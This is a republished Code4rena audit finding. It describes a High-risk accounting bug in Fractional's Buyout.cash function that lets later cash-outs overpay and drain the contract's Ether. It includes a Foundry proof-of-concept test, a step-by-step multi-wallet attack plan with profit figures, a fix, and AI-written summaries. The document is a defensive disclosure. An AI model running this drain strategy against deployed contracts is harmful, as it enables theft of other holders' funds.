Cash-out from a successful buyout allows an attacker to drain Ether from the Buyout contract
The Buyout.cash function calculates each user's share using the initial Ether balance instead of the remaining balance, so later users can withdraw more Ether than they are entitled to. An attacker could drain Ether from the Buyout contract by cashing out multiple wallets.
Originally disclosed on Code4rena
Submitted by berndartmueller, also found by 0xA5DF, 0xsanson, 0xSky, cccz, cryptphi, ElKu, hansfriese, jonatascm, kenzo, Kumpa, minhquanym, s3cunda, shenwilly, smiling_heretic, Treasure-Seeker, TrungOre, and zzzitron
The function Buyout.cash allows a user to cash out proceeds (Ether) from a successful vault buyout.
However, due to how buyoutShare is calculated in Buyout.cash, users (fractional vault token holders) cashing out would receive more Ether than they are entitled to. The calculation is wrong as it uses the initial Ether balance stored in buyoutInfo[_vault].ethBalance. Each consecutive cash-out will lead to a user receiving more Ether, ultimately draining the Ether funds of the Buyout contract.
Proof of Concept
Copy paste the following test case into Buyout.t.sol and run the test via forge test -vvv --match-test testCashDrainEther:
The test shows how 2 users Alice and Eve cash out Ether from a successful vault buyout (which brought in 10 ether). Alice and Eve are both entitled to receive 5 ether each. Alice receives the correct amount when cashing out, however, due to a miscalculation of buyoutShare (see #L268-L269), Eve can cash-out 10 ether from the Buyout contract.
function testCashDrainEther() public {
/// ==================
/// ===== SETUP =====
/// ==================
deployBaseVault(alice, TOTAL_SUPPLY);
(token, tokenId) = registry.vaultToToken(vault);
alice.ferc1155 = new FERC1155BS(address(0), 111, token);
bob.ferc1155 = new FERC1155BS(address(0), 222, token);
eve.ferc1155 = new FERC1155BS(address(0), 333, token);
buyout = address(buyoutModule);
proposalPeriod = buyoutModule.PROPOSAL_PERIOD();
rejectionPeriod = buyoutModule.REJECTION_PERIOD();
vm.label(vault, "VaultProxy");
vm.label(token, "Token");
setApproval(alice, vault, true);
setApproval(alice, buyout, true);
setApproval(bob, vault, true);
setApproval(bob, buyout, true);
setApproval(eve, vault, true);
setApproval(eve, buyout, true);
alice.ferc1155.safeTransferFrom(
alice.addr,
bob.addr,
1,
6000,
""
);
alice.ferc1155.safeTransferFrom(
alice.addr,
eve.addr,
1,
2000,
""
);
/// ==================
/// ===== SETUP END =====
/// ==================
/// Fraction balances:
assertEq(getFractionBalance(alice.addr), 2000); // Alice: 2000
assertEq(getFractionBalance(bob.addr), 6000); // Bob: 6000
assertEq(getFractionBalance(eve.addr), 2000); // Eve: 2000
bob.buyoutModule.start{value: 10 ether}(vault);
assertEq(getETHBalance(buyout), 10 ether);
/// Bob (proposer of buyout) transfered his fractions to buyout contract
assertEq(getFractionBalance(buyout), 6000);
vm.warp(rejectionPeriod + 1);
bob.buyoutModule.end(vault, burnProof);
/// Fraction balances after buyout ended:
assertEq(getFractionBalance(alice.addr), 2000); // Alice: 2000
assertEq(getFractionBalance(bob.addr), 0); // Bob: 0
assertEq(getFractionBalance(eve.addr), 2000); // Eve: 2000
assertEq(getETHBalance(buyout), 10 ether);
/// Alice cashes out 2000 fractions -> 5 ETH (correct amount)
alice.buyoutModule.cash(vault, burnProof);
assertEq(getFractionBalance(alice.addr), 0);
assertEq(getETHBalance(alice.addr), 105 ether);
/// Eve cashes out 2000 fractions -> REVERTS (internally it calculates Eve would receive 10 ETH instead of the entitled 5 ETH). If the contract holds sufficient Ether from other successful buyouts, Eve would receive the full 10 ETH
eve.buyoutModule.cash(vault, burnProof);
}
Additionally to the demonstrated PoC in the test case, an attacker could intentionally create vaults with many wallets and exploit the vulnerability:
-
Attacker deploys a vault with
10.000fractions minted -
51% of fractions (
5.100) are kept in the main wallet, all other fractions are distributed to 5 other self-controlled wallets (Wallets 1-5,980fractions each) -
With the first wallet, the attacker starts a buyout with
10 ether- fractions are transferred into theBuyoutcontract as well as10 ether -
Attacker waits for
REJECTION_PERIODto elapse to callBuyout.end(51% of fractions are already held in the contract, therefore no need for voting) -
After the successful buyout, the attacker uses the
Buyout.cashfunction to cash out each wallet. Each subsequent cash-out will lead to receiving more Ether, thus stealing Ether from theBuyoutcontract:- Wallet 1 -
buyoutShare = (980 * 10 ) / (3920 + 980) = 2 ether(totalSupply = 3920after burning980fractions from wallet 1) - Wallet 2 -
buyoutShare = (980 * 10 ) / (2940 + 980) = 2.5 ether(totalSupply = 2940after burning980fractions from wallet 2) - Wallet 3 -
buyoutShare = (980 * 10 ) / (1960 + 980) = ~3.3 ether(totalSupply = 1960after burning980fractions from wallet 3) - Wallet 4 -
buyoutShare = (980 * 10 ) / (980 + 980) = 5 ether(totalSupply = 980after burning980fractions from wallet 4) - Wallet 5 -
buyoutShare = (980 * 10 ) / (0 + 980) = 10 ether(totalSupply = 0after burning980fractions from wallet 5)
- Wallet 1 -
If summed up, cashing out the 5 wallets, the attacker receives 22.8 ether in total. Making a profit of 12.8 ether.
This can be repeated and executed with multiple buyouts and vaults at the same time as long as there is Ether left to steal in the Buyout contract.
Recommended Mitigation Steps
Decrement ethBalance from buyout info buyoutInfo[_vault].ethBalance -= buyoutShare; in Buyout.cash (see @audit-info annotation):
function cash(address _vault, bytes32[] calldata _burnProof) external {
// Reverts if address is not a registered vault
(address token, uint256 id) = IVaultRegistry(registry).vaultToToken(
_vault
);
if (id == 0) revert NotVault(_vault);
// Reverts if auction state is not successful
(, , State current, , uint256 ethBalance, ) = this.buyoutInfo(_vault);
State required = State.SUCCESS;
if (current != required) revert InvalidState(required, current);
// Reverts if caller has a balance of zero fractional tokens
uint256 tokenBalance = IERC1155(token).balanceOf(msg.sender, id);
if (tokenBalance == 0) revert NoFractions();
// Initializes vault transaction
bytes memory data = abi.encodeCall(
ISupply.burn,
(msg.sender, tokenBalance)
);
// Executes burn of fractional tokens from caller
IVault(payable(_vault)).execute(supply, data, _burnProof);
// Transfers buyout share amount to caller based on total supply
uint256 totalSupply = IVaultRegistry(registry).totalSupply(_vault);
uint256 buyoutShare = (tokenBalance * ethBalance) /
(totalSupply + tokenBalance);
buyoutInfo[_vault].ethBalance -= buyoutShare; // @audit-info decrement `ethBalance` by `buyoutShare`
_sendEthOrWeth(msg.sender, buyoutShare);
// Emits event for cashing out of buyout pool
emit Cash(_vault, msg.sender, buyoutShare);
}
stevennevins (Fractional) confirmed
HardlyDifficult (judge) commented:
When more than 1 user calls
Buyout.cash, users will receive more ETH than expected - leaving a deficit so that later users are unable to access their funds. Agree this is a High risk issue.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The buyoutShare calculation uses the initial ethBalance stored in buyoutInfo instead of the remaining balance, and does not decrement it after each cash-out.
Impact
An attacker could drain Ether from the Buyout contract, and later users may be unable to access their funds.
What the attacker needed
Attacker controls multiple wallets; Attacker can deploy a vault and start a buyout; Sufficient Ether in Buyout contract
The fix
The fix is to decrement ethBalance by buyoutShare in Buyout.cash after each cash-out.
How it was found
- Deploy a vault with 10,000 fractions and distribute them across multiple controlled wallets.
- Start a buyout with 10 Ether from one wallet, transferring fractions and Ether to the Buyout contract.
- Wait for the rejection period to end and call Buyout.end to finalise the buyout.
- Call Buyout.cash from each wallet in turn; each subsequent cash-out yields more Ether than entitled.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a vault is bought out, the Ether paid is stored in a contract. People who owned fractions of the vault can later withdraw their share. The code that calculates each person's share uses the original total amount every time, not what is left. So the second person to withdraw gets too much, and the contract can run out of money.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.